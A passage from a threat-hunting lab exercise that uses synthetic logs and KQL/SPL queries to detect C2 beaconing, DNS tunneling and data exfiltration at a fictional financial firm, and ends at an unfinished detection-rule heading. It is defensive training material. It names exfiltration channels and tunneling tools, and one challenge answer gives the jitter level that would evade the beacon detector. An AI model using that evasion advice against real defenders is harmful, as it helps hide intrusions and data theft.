{"TimeGenerated": "2026-03-12T03:35:05Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 241, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.7}
{"TimeGenerated": "2026-03-12T03:35:58Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 250, "BytesReceived": 1536, "Protocol": "TCP", "Duration": 1.2}
{"TimeGenerated": "2026-03-12T03:37:03Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 243, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.5}
{"TimeGenerated": "2026-03-12T03:38:01Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 246, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.6}
{"TimeGenerated": "2026-03-12T03:39:04Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 244, "BytesReceived": 2048, "Protocol": "TCP", "Duration": 1.5}
{"TimeGenerated": "2026-03-12T03:40:00Z", "SourceIP": "10.50.1.42", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 247, "BytesReceived": 512, "Protocol": "TCP", "Duration": 0.7}
{"TimeGenerated": "2026-03-12T08:15:00Z", "SourceIP": "10.50.1.15", "DestIP": "203.0.113.100", "DestPort": 443, "BytesSent": 15360, "BytesReceived": 524288, "Protocol": "TCP", "Duration": 12.3}
{"TimeGenerated": "2026-03-12T08:15:45Z", "SourceIP": "10.50.1.22", "DestIP": "203.0.113.101", "DestPort": 443, "BytesSent": 8192, "BytesReceived": 131072, "Protocol": "TCP", "Duration": 8.1}

Step 1: High-Frequency Connection Detection

Find source-destination pairs with unusually high connection counts — a signature of beaconing.

// Exercise 3.1 — Top talkers to external IPs (connection frequency)
NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where DestinationPort in (80, 443)
// Exclude internal-to-internal
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize
    ConnectionCount = count(),
    TotalBytesSent = sum(SentBytes),
    TotalBytesReceived = sum(ReceivedBytes),
    AvgBytesSent = avg(SentBytes),
    StdevBytesSent = stdev(SentBytes),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated),
    DurationHours = datetime_diff('hour', max(TimeGenerated), min(TimeGenerated))
  by LocalIP, RemoteIP, DestinationPort
| where ConnectionCount > 50
| extend ConnectionsPerHour = round(toreal(ConnectionCount) / max_of(DurationHours, 1), 2)
| where ConnectionsPerHour > 10
| order by ConnectionsPerHour desc
index=netflow sourcetype=netflow
    (dest_port=80 OR dest_port=443)
    NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
    earliest=-7d latest=now
| stats count AS ConnectionCount,
        sum(bytes_out) AS TotalBytesSent,
        sum(bytes_in) AS TotalBytesReceived,
        avg(bytes_out) AS AvgBytesSent,
        stdev(bytes_out) AS StdevBytesSent,
        earliest(_time) AS FirstSeen,
        latest(_time) AS LastSeen
  by src_ip dest_ip dest_port
| eval DurationHours = round((LastSeen - FirstSeen) / 3600, 2)
| where ConnectionCount > 50
| eval ConnectionsPerHour = round(ConnectionCount / max(DurationHours, 1), 2)
| where ConnectionsPerHour > 10
| sort -ConnectionsPerHour
| convert ctime(FirstSeen) ctime(LastSeen)

Step 2: Jitter Analysis — Time-Series Beacon Detection

True beacons have consistent inter-connection intervals. Calculate the coefficient of variation (standard deviation / mean) of connection intervals — low values indicate beaconing.

// Exercise 3.2 — Beacon jitter analysis using time-series
// Step 1: Get connection times for each src-dst pair
let connection_times = NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where DestinationPort in (80, 443)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| project TimeGenerated, LocalIP, RemoteIP
| order by LocalIP, RemoteIP, TimeGenerated asc;
// Step 2: Calculate intervals using serialize and prev()
connection_times
| serialize
| extend PrevTime = prev(TimeGenerated, 1),
         PrevLocal = prev(LocalIP, 1),
         PrevRemote = prev(RemoteIP, 1)
| where LocalIP == PrevLocal and RemoteIP == PrevRemote
| extend IntervalSeconds = datetime_diff('second', TimeGenerated, PrevTime)
| where IntervalSeconds > 0 and IntervalSeconds < 3600  // Ignore gaps > 1hr
| summarize
    ConnectionCount = count(),
    MeanInterval = avg(IntervalSeconds),
    StdevInterval = stdev(IntervalSeconds),
    MinInterval = min(IntervalSeconds),
    MaxInterval = max(IntervalSeconds)
  by LocalIP, RemoteIP
| where ConnectionCount > 20
| extend CoefficientOfVariation = round(StdevInterval / MeanInterval, 4)
// Low CoV = highly regular = likely beacon
// Typical beacons: CoV < 0.20 (20% jitter or less)
| where CoefficientOfVariation < 0.20
| extend EstimatedBeaconInterval = strcat(tostring(round(MeanInterval, 0)), "s +/- ",
                                          tostring(round(StdevInterval, 1)), "s")
| project LocalIP, RemoteIP, ConnectionCount, EstimatedBeaconInterval,
          CoefficientOfVariation, MeanInterval, MinInterval, MaxInterval
| order by CoefficientOfVariation asc
// Beacon jitter analysis — calculate inter-connection intervals
index=netflow sourcetype=netflow
    (dest_port=80 OR dest_port=443)
    NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
    earliest=-7d latest=now
| sort src_ip dest_ip _time
| streamstats current=f last(_time) AS PrevTime by src_ip dest_ip
| eval IntervalSeconds = _time - PrevTime
| where isnotnull(IntervalSeconds) AND IntervalSeconds > 0
        AND IntervalSeconds < 3600
| stats count AS ConnectionCount,
        avg(IntervalSeconds) AS MeanInterval,
        stdev(IntervalSeconds) AS StdevInterval,
        min(IntervalSeconds) AS MinInterval,
        max(IntervalSeconds) AS MaxInterval
  by src_ip dest_ip
| where ConnectionCount > 20
| eval CoefficientOfVariation = round(StdevInterval / MeanInterval, 4)
| where CoefficientOfVariation < 0.20
| eval EstimatedBeaconInterval = round(MeanInterval, 0) . "s +/- "
                                 . round(StdevInterval, 1) . "s"
| table src_ip dest_ip ConnectionCount EstimatedBeaconInterval
        CoefficientOfVariation MeanInterval MinInterval MaxInterval
| sort CoefficientOfVariation

Expected Results:

Source Destination Connections Beacon Interval CoV Verdict
10.50.1.42 192.0.2.41 8,640+ 60s +/- 3.2s 0.053 C2 BEACON — 60-second interval with ~5% jitter

Interpreting Coefficient of Variation

  • CoV < 0.05: Almost perfectly regular — likely automated C2 beacon with minimal jitter
  • CoV 0.05–0.15: Regular with moderate jitter — likely a beacon with randomized sleep
  • CoV 0.15–0.30: Semi-regular — could be beacon or automated polling (e.g., software updates)
  • CoV > 0.30: Irregular — likely human-driven or non-beacon traffic

Step 3: DNS Beaconing Detection

Some C2 frameworks use DNS queries as a covert channel. Hunt for hosts making excessive queries to a single domain.

Sample Data — DNS Query Records

{"TimeGenerated": "2026-03-12T03:35:00Z", "SourceIP": "10.50.1.42", "QueryName": "aGVsbG8.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "dGhpcyBpcyBhIHRlc3Q="}
{"TimeGenerated": "2026-03-12T03:35:30Z", "SourceIP": "10.50.1.42", "QueryName": "d29ybGQ.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "cmVzcG9uc2UgZGF0YQ=="}
{"TimeGenerated": "2026-03-12T03:36:00Z", "SourceIP": "10.50.1.42", "QueryName": "bWVzc2FnZQ.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "Y29tbWFuZCByZXN1bHQ="}
{"TimeGenerated": "2026-03-12T03:36:31Z", "SourceIP": "10.50.1.42", "QueryName": "ZXhmaWx0.cdn-analytics.example.com", "QueryType": "TXT", "ResponseCode": "NOERROR", "ResponseData": "ZGF0YSBwYXlsb2Fk"}
{"TimeGenerated": "2026-03-12T08:00:15Z", "SourceIP": "10.50.1.15", "QueryName": "www.news.example.com", "QueryType": "A", "ResponseCode": "NOERROR", "ResponseData": "203.0.113.50"}
{"TimeGenerated": "2026-03-12T08:00:16Z", "SourceIP": "10.50.1.22", "QueryName": "mail.aegis.example.com", "QueryType": "A", "ResponseCode": "NOERROR", "ResponseData": "172.16.10.10"}

Synthetic DNS Beacon Indicators

Notice the subdomain labels (aGVsbG8, d29ybGQ, etc.) are Base64-encoded strings — a hallmark of DNS tunneling. The TXT query/response type is commonly abused for data exfiltration and C2 commands.

// Exercise 3.3 — DNS beaconing detection
// High-frequency queries to a single parent domain with high subdomain entropy
DnsEvents
| where TimeGenerated > ago(7d)
| where QueryType in ("TXT", "CNAME", "MX")  // Commonly abused types
| extend ParentDomain = strcat(
    tostring(split(Name, ".")[-2]), ".",
    tostring(split(Name, ".")[-1]))
| extend SubdomainLabel = tostring(split(Name, ".")[0])
| extend SubdomainLength = strlen(SubdomainLabel)
| summarize
    QueryCount = count(),
    UniqueSubdomains = dcount(SubdomainLabel),
    AvgSubdomainLength = round(avg(SubdomainLength), 1),
    MaxSubdomainLength = max(SubdomainLength),
    SampleQueries = make_set(Name, 5),
    QueryingHosts = make_set(ClientIP, 10)
  by ParentDomain
| where QueryCount > 100
| where UniqueSubdomains > 50
| where AvgSubdomainLength > 8  // Base64 labels tend to be long
| order by QueryCount desc
// DNS beaconing — high-frequency TXT/CNAME queries with unique subdomains
index=dns sourcetype=dns
    (query_type=TXT OR query_type=CNAME OR query_type=MX)
    earliest=-7d latest=now
| rex field=query "^(?<subdomain>[^.]+)\.(?<parent_domain>[^.]+\.[^.]+)$"
| eval subdomain_length = len(subdomain)
| stats count AS QueryCount,
        dc(subdomain) AS UniqueSubdomains,
        avg(subdomain_length) AS AvgSubdomainLength,
        max(subdomain_length) AS MaxSubdomainLength,
        values(query) AS SampleQueries,
        values(src_ip) AS QueryingHosts
  by parent_domain
| where QueryCount > 100
| where UniqueSubdomains > 50
| where AvgSubdomainLength > 8
| sort -QueryCount

Expected Results:

Parent Domain Queries Unique Subdomains Avg Length Analysis
cdn-analytics.example.com 12,096 11,847 14.3 DNS C2 CHANNEL — TXT queries with Base64-encoded subdomains from 10.50.1.42

Step 4: Visualize Beacon Pattern with Time-Series

// Exercise 3.4 — Time-series visualization of beacon traffic
NetworkCommunicationEvents
| where TimeGenerated > ago(2d)
| where LocalIP == "10.50.1.42"
| where RemoteIP == "192.0.2.41"
| make-series ConnectionCount = count()
    on TimeGenerated
    from ago(2d) to now()
    step 5m
| render timechart
// Expected: a flat, consistent line of ~5 connections per 5-min bucket
// (one connection per minute = 5 per 5-min bucket)
// Time-series beacon visualization
index=netflow sourcetype=netflow
    src_ip="10.50.1.42" dest_ip="192.0.2.41"
    earliest=-2d latest=now
| timechart span=5m count AS ConnectionCount
// Expected: consistent ~5 events per 5-minute bucket

KQL's make-series Advantage

KQL's make-series operator is specifically designed for time-series analysis. It fills gaps with zeros (unlike summarize bin()) and supports built-in anomaly detection functions like series_decompose_anomalies(). This is one area where KQL has a distinct advantage over SPL for beacon hunting.

Challenge Questions — Exercise 3

Challenge 3.1

Q: The beacon interval is ~60 seconds with ~5% jitter (CoV = 0.053). Calculate the expected jitter range in seconds. If you wanted to evade this detection, what jitter percentage would you recommend?

A: With a 60-second mean and 5% CoV, the standard deviation is ~3.2 seconds. The jitter range is approximately 53–67 seconds (mean +/- 2 standard deviations). To evade CoV-based detection (threshold < 0.20), an attacker would need CoV > 0.30, meaning a standard deviation of 18+ seconds on a 60-second base — roughly 30% jitter. However, too much jitter reduces C2 responsiveness.

Challenge 3.2

Q: Write a KQL query using series_decompose_anomalies() to automatically detect anomalous spikes in DNS query volume per host.

A:

DnsEvents
| where TimeGenerated > ago(7d)
| make-series QueryCount = count()
    on TimeGenerated
    from ago(7d) to now()
    step 1h
    by ClientIP
| extend (anomalies, score, baseline) =
    series_decompose_anomalies(QueryCount, 2.5)
| mv-expand TimeGenerated to typeof(datetime),
           QueryCount to typeof(long),
           anomalies to typeof(int),
           score to typeof(double)
| where anomalies == 1  // Positive anomaly (spike)
| project TimeGenerated, ClientIP, QueryCount,
          AnomalyScore = round(score, 2)
| order by AnomalyScore desc

Challenge 3.3

Q: Why is TXT the most commonly abused DNS record type for C2, and what other record types can be used?

A: TXT records can carry arbitrary text data (up to 65,535 bytes in theory, ~255 per string in practice), making them ideal for encoding commands and exfiltrated data. Other abusable types: (1) CNAME — limited but useful for short commands, (2) MX — rarely filtered but limited payload, (3) NULL — can carry binary data, (4) AAAA — encode data in IPv6 addresses. Detection should monitor all unusual query types, not just TXT.


Exercise 4 — Data Exfiltration Hunting (60 min)

Objective

Detect data exfiltration from Aegis Financial Group through DNS tunneling, large data transfers, and encrypted channel abuse.

Scenario Context

Hunt Hypothesis 4

Hypothesis: After gaining access to the financial database (DB01) and file server (FS01), the adversary exfiltrated sensitive data. Exfiltration methods may include: DNS tunneling (already partially identified), large outbound transfers to external IPs, or abuse of legitimate cloud services.

MITRE ATT&CK: T1048.001 (Exfiltration Over Symmetric Encrypted Non-C2 Protocol), T1048.003 (Exfiltration Over Unencrypted Protocol), T1567.002 (Exfiltration to Cloud Storage), T1041 (Exfiltration Over C2 Channel)

Data Sources: Network Flows, DNS Queries, Proxy Logs, Firewall Logs

Sample Data — Outbound Transfer Records

{"TimeGenerated": "2026-03-14T20:00:15Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 52428800, "BytesReceived": 1024, "Duration": 185.3, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T20:15:33Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 48234496, "BytesReceived": 512, "Duration": 162.7, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T20:30:02Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 55574528, "BytesReceived": 1024, "Duration": 198.1, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T20:45:18Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 41943040, "BytesReceived": 512, "Duration": 145.6, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-14T21:00:44Z", "SourceIP": "10.50.50.5", "DestIP": "192.0.2.41", "DestPort": 443, "BytesSent": 36700160, "BytesReceived": 1024, "Duration": 130.2, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-12T09:00:00Z", "SourceIP": "10.50.1.15", "DestIP": "203.0.113.200", "DestPort": 443, "BytesSent": 2048, "BytesReceived": 524288, "Duration": 5.2, "Protocol": "TCP"}
{"TimeGenerated": "2026-03-12T09:01:00Z", "SourceIP": "10.50.1.22", "DestIP": "203.0.113.201", "DestPort": 443, "BytesSent": 4096, "BytesReceived": 1048576, "Duration": 8.7, "Protocol": "TCP"}

Step 1: Outbound Volume Anomalies

Identify hosts sending abnormally large amounts of data externally.

// Exercise 4.1 — Outbound data volume anomalies
// Calculate per-host daily upload volume and flag outliers
let daily_uploads = NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize
    DailyBytesSent = sum(SentBytes),
    ConnectionCount = count(),
    DistinctDestinations = dcount(RemoteIP)
  by LocalIP, Day = bin(TimeGenerated, 1d);
// Calculate baseline stats per host
let host_baselines = daily_uploads
| summarize
    AvgDailyUpload = avg(DailyBytesSent),
    StdDailyUpload = stdev(DailyBytesSent)
  by LocalIP;
// Flag days where upload exceeds baseline by 3+ standard deviations
daily_uploads
| join kind=inner host_baselines on LocalIP
| where StdDailyUpload > 0
| extend ZScore = round((DailyBytesSent - AvgDailyUpload) / StdDailyUpload, 2)
| where ZScore > 3
| extend DailyUploadMB = round(toreal(DailyBytesSent) / 1048576, 2)
| project Day, LocalIP, DailyUploadMB, ZScore,
          ConnectionCount, DistinctDestinations
| order by ZScore desc
// Outbound volume anomaly — z-score per host per day
index=netflow sourcetype=netflow
    NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
    earliest=-7d latest=now
| bin _time span=1d AS Day
| stats sum(bytes_out) AS DailyBytesSent,
        count AS ConnectionCount,
        dc(dest_ip) AS DistinctDestinations
  by src_ip Day
| eventstats avg(DailyBytesSent) AS AvgDailyUpload,
            stdev(DailyBytesSent) AS StdDailyUpload
  by src_ip
| where StdDailyUpload > 0
| eval ZScore = round((DailyBytesSent - AvgDailyUpload) / StdDailyUpload, 2)
| where ZScore > 3
| eval DailyUploadMB = round(DailyBytesSent / 1048576, 2)
| table Day src_ip DailyUploadMB ZScore ConnectionCount DistinctDestinations
| sort -ZScore

Expected Results:

Day Host Upload (MB) Z-Score Analysis
2026-03-14 10.50.50.5 (WS-CFO-01) 223.7 8.41 EXFILTRATION — 223 MB uploaded to single external IP on a day when the host's baseline is ~2 MB

Step 2: DNS Tunneling Volume Estimation

Calculate the data volume being exfiltrated through DNS queries by measuring query payload sizes.

// Exercise 4.2 — DNS tunneling volume estimation
DnsEvents
| where TimeGenerated > ago(7d)
| where Name endswith "cdn-analytics.example.com"
| extend SubdomainLabel = tostring(split(Name, ".")[0])
| extend PayloadBytes = strlen(SubdomainLabel) * 6 / 8  // Base64: 6 bits per char
| summarize
    TotalQueries = count(),
    EstimatedExfilBytes = sum(PayloadBytes),
    UniqueLabels = dcount(SubdomainLabel),
    QueriesPerHour = count() / max_of(datetime_diff('hour',
        max(TimeGenerated), min(TimeGenerated)), 1),
    FirstQuery = min(TimeGenerated),
    LastQuery = max(TimeGenerated)
  by ClientIP
| extend EstimatedExfilKB = round(toreal(EstimatedExfilBytes) / 1024, 2)
| project ClientIP, TotalQueries, EstimatedExfilKB,
          UniqueLabels, QueriesPerHour, FirstQuery, LastQuery
// DNS tunneling exfil volume estimation
index=dns sourcetype=dns query="*.cdn-analytics.example.com"
    earliest=-7d latest=now
| rex field=query "^(?<subdomain>[^.]+)\."
| eval payload_bytes = len(subdomain) * 6 / 8
| stats sum(payload_bytes) AS EstimatedExfilBytes,
        count AS TotalQueries,
        dc(subdomain) AS UniqueLabels,
        earliest(_time) AS FirstQuery,
        latest(_time) AS LastQuery
  by src_ip
| eval EstimatedExfilKB = round(EstimatedExfilBytes / 1024, 2)
| eval Duration_hours = round((LastQuery - FirstQuery) / 3600, 2)
| eval QueriesPerHour = round(TotalQueries / max(Duration_hours, 1), 2)
| table src_ip TotalQueries EstimatedExfilKB UniqueLabels QueriesPerHour
| convert ctime(FirstQuery) ctime(LastQuery)

Expected Results:

Host Queries Estimated Exfil (KB) Analysis
10.50.1.42 12,096 ~106 KB DNS TUNNELING — slow but steady exfil channel operating alongside the HTTPS bulk transfer

Step 3: Upload/Download Ratio Analysis

Legitimate browsing has a high download-to-upload ratio. Exfiltration inverts this ratio.

// Exercise 4.3 — Upload/Download ratio anomalies (inverted traffic patterns)
NetworkCommunicationEvents
| where TimeGenerated > ago(7d)
| where DestinationPort in (80, 443)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize
    TotalSent = sum(SentBytes),
    TotalReceived = sum(ReceivedBytes),
    ConnectionCount = count()
  by LocalIP, RemoteIP
| where TotalSent > 1048576  // > 1 MB sent
| extend UploadDownloadRatio = round(toreal(TotalSent) / max_of(TotalReceived, 1), 2)
| where UploadDownloadRatio > 5.0  // Sending 5x more than receiving
| extend TotalSentMB = round(toreal(TotalSent) / 1048576, 2),
         TotalReceivedMB = round(toreal(TotalReceived) / 1048576, 2)
| project LocalIP, RemoteIP, TotalSentMB, TotalReceivedMB,
          UploadDownloadRatio, ConnectionCount
| order by UploadDownloadRatio desc
// Upload/Download ratio — flag inverted traffic patterns
index=netflow sourcetype=netflow
    (dest_port=80 OR dest_port=443)
    NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*")
    earliest=-7d latest=now
| stats sum(bytes_out) AS TotalSent,
        sum(bytes_in) AS TotalReceived,
        count AS ConnectionCount
  by src_ip dest_ip
| where TotalSent > 1048576
| eval UploadDownloadRatio = round(TotalSent / max(TotalReceived, 1), 2)
| where UploadDownloadRatio > 5.0
| eval TotalSentMB = round(TotalSent / 1048576, 2)
| eval TotalReceivedMB = round(TotalReceived / 1048576, 2)
| table src_ip dest_ip TotalSentMB TotalReceivedMB
        UploadDownloadRatio ConnectionCount
| sort -UploadDownloadRatio

Expected Results:

Source Destination Sent (MB) Received (MB) Ratio Analysis
10.50.50.5 192.0.2.41 223.7 0.004 55,925:1 MASSIVE EXFIL — nearly all traffic is outbound
10.50.1.42 192.0.2.41 1.8 0.9 2.0:1 C2 traffic — roughly balanced (commands in, results out)

Step 4: Cloud Storage Exfiltration Detection

Monitor for uploads to cloud storage services (legitimate services abused for exfiltration).

// Exercise 4.4 — Cloud storage exfiltration via proxy logs
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where DeviceVendor == "BlueCoat" or DeviceVendor == "Zscaler"
| where RequestURL has_any (
    "blob.core.windows.net",
    "s3.amazonaws.com",
    "storage.googleapis.com",
    "drive.google.com",
    "dropbox.com",
    "mega.nz",
    "pastebin.com"
)
| where RequestMethod in ("POST", "PUT")
| summarize
    UploadCount = count(),
    TotalBytesSent = sum(SentBytes),
    DistinctURLs = dcount(RequestURL),
    SampleURLs = make_set(RequestURL, 5)
  by SourceIP, DestinationHostName
| where TotalBytesSent > 5242880  // > 5 MB uploaded
| extend TotalSentMB = round(toreal(TotalBytesSent) / 1048576, 2)
| order by TotalSentMB desc
// Cloud storage exfiltration via proxy logs
index=proxy sourcetype=bluecoat
    (cs_uri_path="*blob.core.windows.net*"
     OR cs_uri_path="*s3.amazonaws.com*"
     OR cs_uri_path="*storage.googleapis.com*"
     OR cs_uri_path="*drive.google.com*"
     OR cs_uri_path="*dropbox.com*"
     OR cs_uri_path="*mega.nz*"
     OR cs_uri_path="*pastebin.com*")
    (cs_method=POST OR cs_method=PUT)
    earliest=-7d latest=now
| stats count AS UploadCount,
        sum(sc_bytes) AS TotalBytesSent,
        dc(cs_uri_path) AS DistinctURLs,
        values(cs_uri_path) AS SampleURLs
  by c_ip s_ip
| where TotalBytesSent > 5242880
| eval TotalSentMB = round(TotalBytesSent / 1048576, 2)
| sort -TotalSentMB

Exfiltration Summary — Exercise 4

Two exfiltration channels identified:

Channel Source Destination Volume Method
HTTPS bulk transfer WS-CFO-01 (10.50.50.5) 192.0.2.41:443 ~223 MB 5 large uploads over 1 hour (T1041)
DNS tunneling WS-HR-042 (10.50.1.42) cdn-analytics.example.com ~106 KB 12,096 TXT queries over 5 days (T1048.003)

Combined exfiltration: ~224 MB of data stolen from financial database and file server.

Challenge Questions — Exercise 4

Challenge 4.1

Q: Why would an adversary use two different exfiltration channels (HTTPS bulk + DNS tunneling)?

A: The DNS tunnel serves as a low-bandwidth persistent channel for ongoing C2 communication and small data extraction (credentials, configs). The HTTPS bulk transfer is the primary exfiltration channel for large data sets. Using two channels provides redundancy — if one is detected and blocked, the other can continue. The DNS channel is harder to detect and may survive even after the C2 IP is blocklisted.

Challenge 4.2

Q: Write a KQL query to detect "low and slow" exfiltration — hosts that upload a consistent small amount daily (e.g., 1–5 MB/day) over many days, which might fly under volume-based thresholds.

A:

NetworkCommunicationEvents
| where TimeGenerated > ago(30d)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| summarize DailySent = sum(SentBytes) by LocalIP, RemoteIP,
            Day = bin(TimeGenerated, 1d)
| summarize
    DaysActive = dcount(Day),
    AvgDailySentMB = round(avg(DailySent) / 1048576, 2),
    TotalSentMB = round(sum(DailySent) / 1048576, 2),
    StdDailySent = stdev(DailySent)
  by LocalIP, RemoteIP
| where DaysActive > 7        // Active for over a week
| where AvgDailySentMB between (1.0 .. 10.0)  // Low daily volume
| extend ConsistencyScore = round(StdDailySent / avg_of(AvgDailySentMB * 1048576, 1), 2)
| where ConsistencyScore < 0.5  // Consistent daily uploads
| order by TotalSentMB desc

Challenge 4.3

Q: What is the maximum theoretical throughput of DNS tunneling using TXT records? Why is DNS tunneling slow compared to HTTPS?

A: Theoretical maximum: ~18.5 KB/s using aggressive techniques (maximum-length labels, multiple subdomains, fast query rates). In practice, DNS tunneling tools like dnscat2 or iodine achieve 1–5 KB/s. It is slow because: (1) DNS queries are stateless — each requires a round trip, (2) label length is limited to 63 characters (RFC 1035), (3) total domain name limited to 253 characters, (4) aggressive querying triggers rate limits and detection, (5) many resolvers and firewalls cache responses, reducing throughput.


Exercise 5 — Threat Hunt Report & Hypothesis Development (45 min)

Objective

Synthesize all findings from Exercises 1–4 into a structured threat hunt report. Practice writing formal documentation that communicates findings to stakeholders.

Scenario Context

Reporting Requirements

You have completed the threat hunt for Aegis Financial Group. The CISO expects a formal report covering:

  1. Executive Summary (non-technical, for C-suite)
  2. Hunt Hypotheses and Methodology
  3. Detailed Findings with Evidence
  4. MITRE ATT&CK Mapping
  5. Recommendations and Next Steps
  6. New Detection Rules Derived from Hunt

Step 1: Report Template

Use this structure for your threat hunt report. Fill in the sections based on your findings.

# THREAT HUNT REPORT
## Aegis Financial Group — Hunt ID: TH-2026-0042

### Classification: CONFIDENTIAL
### Date: 2026-03-17
### Lead Analyst: [Your Name]
### Authorization: CISO — Signed 2026-03-18

---

## 1. Executive Summary

A proactive 7-day threat hunt was conducted across Aegis Financial Group's
environment following a threat intelligence advisory about SYNTHETIC-LEOPARD
targeting the financial sector. The hunt confirmed an active intrusion with
the following key findings:

- **One compromised user account** (kpatel) — initial access via
  spear-phishing
- **Lateral movement** to 4 hosts including the CFO workstation and
  financial database server
- **Two active C2 channels** — HTTPS beaconing and DNS tunneling
- **Approximately 224 MB of data exfiltrated** from the financial database
- **Estimated dwell time: 5+ days** (2026-03-12 through at least 2026-03-17)

**Risk Level: CRITICAL**
**Recommended Action: Activate Incident Response Plan immediately.**

---

## 2. Hunt Hypotheses

| ID | Hypothesis | Status | Confidence |
|----|-----------|--------|------------|
| H1 | Compromised account shows authentication anomalies | CONFIRMED | HIGH |
| H2 | Attacker moved laterally using stolen credentials | CONFIRMED | HIGH |
| H3 | C2 beaconing present in network traffic | CONFIRMED | HIGH |
| H4 | Data exfiltration occurred via covert channels | CONFIRMED | HIGH |

---

## 3. Methodology

- **Framework:** PEAK (Prepare, Execute, Act, Knowledge)
- **Data Sources:** Windows Security Events, Sysmon, Network Flows,
  DNS Logs, Proxy Logs
- **Query Languages:** KQL (Microsoft Sentinel), SPL (Splunk)
- **Analysis Techniques:**
    - Behavioral baseline comparison (z-score analysis)
    - Time-series decomposition (beacon interval analysis)
    - Statistical anomaly detection (coefficient of variation)
    - Graph analysis (lateral movement path reconstruction)

---

## 4. Detailed Findings

### Finding 1: Account Compromise — AEGIS\kpatel
[Evidence from Exercise 1...]

### Finding 2: Lateral Movement Chain
[Evidence from Exercise 2...]

### Finding 3: Dual C2 Channels
[Evidence from Exercise 3...]

### Finding 4: Data Exfiltration (~224 MB)
[Evidence from Exercise 4...]

---

## 5. MITRE ATT&CK Mapping

| Tactic | Technique | ID | Evidence |
|--------|-----------|-----|---------|
| Initial Access | Spear-Phishing Link | T1566.002 | Outlook spawned cmd.exe |
| Execution | Command-Line Interface | T1059.001 | cmd.exe recon commands |
| Discovery | Account Discovery | T1087.002 | net group "Domain Admins" |
| Discovery | Remote System Discovery | T1018 | nltest /dclist |
| Discovery | System Owner/User Discovery | T1033 | whoami /all |
| Credential Access | OS Credential Dumping | T1003 | Pass-the-Hash (inferred) |
| Lateral Movement | Pass the Hash | T1550.002 | NTLM KeyLength=0 |
| Lateral Movement | Remote Desktop Protocol | T1021.001 | RDP pivot chain |
| Lateral Movement | SMB/Windows Admin Shares | T1021.002 | SMB to DB01 port 445 |
| Command & Control | Web Protocols | T1071.001 | HTTPS beacon to 192.0.2.41 |
| Command & Control | DNS | T1071.004 | DNS TXT beaconing |
| Command & Control | Standard Encoding | T1132.001 | Base64 in DNS labels |
| Exfiltration | Exfil Over C2 Channel | T1041 | 223 MB HTTPS upload |
| Exfiltration | Exfil Over Alternative Protocol | T1048 | DNS tunneling |
| Ingress Tool Transfer | Ingress Tool Transfer | T1105 | certutil download |
| Persistence | (Suspected) | TBD | Requires IR investigation |

---

## 6. Recommendations

### Immediate (within 24 hours)
1. Activate Incident Response Plan — this is an active breach
2. Isolate WS-HR-042 (10.50.1.42) and WS-CFO-01 (10.50.50.5) from network
3. Reset credentials: kpatel, admin-kpatel, and all accounts that
   authenticated to compromised hosts
4. Block C2 infrastructure: 192.0.2.41, cdn-analytics.example.com
5. Preserve forensic images of all affected hosts

### Short-term (within 1 week)
6. Deploy detection rules for all identified TTPs (see Section 7)
7. Conduct full AD password reset for Domain Admins group
8. Review backup integrity — DB01 data may be corrupted or backdoored
9. Engage legal counsel re: financial data breach notification requirements

### Long-term (within 30 days)
10. Implement network segmentation between workstation and server subnets
11. Deploy MFA for all RDP and privileged account access
12. Establish DNS query monitoring and TXT record alerting
13. Create a formal threat hunting program with recurring scheduled hunts

---

## 7. New Detection Rules

[Sigma/KQL/SPL rules derived from hunt findings...]

Step 2: Convert Findings to Detection Rules

Transform your hunt queries into production detection rules.

// Detection Rule: Pass-the-Hash from Workstation Subnet
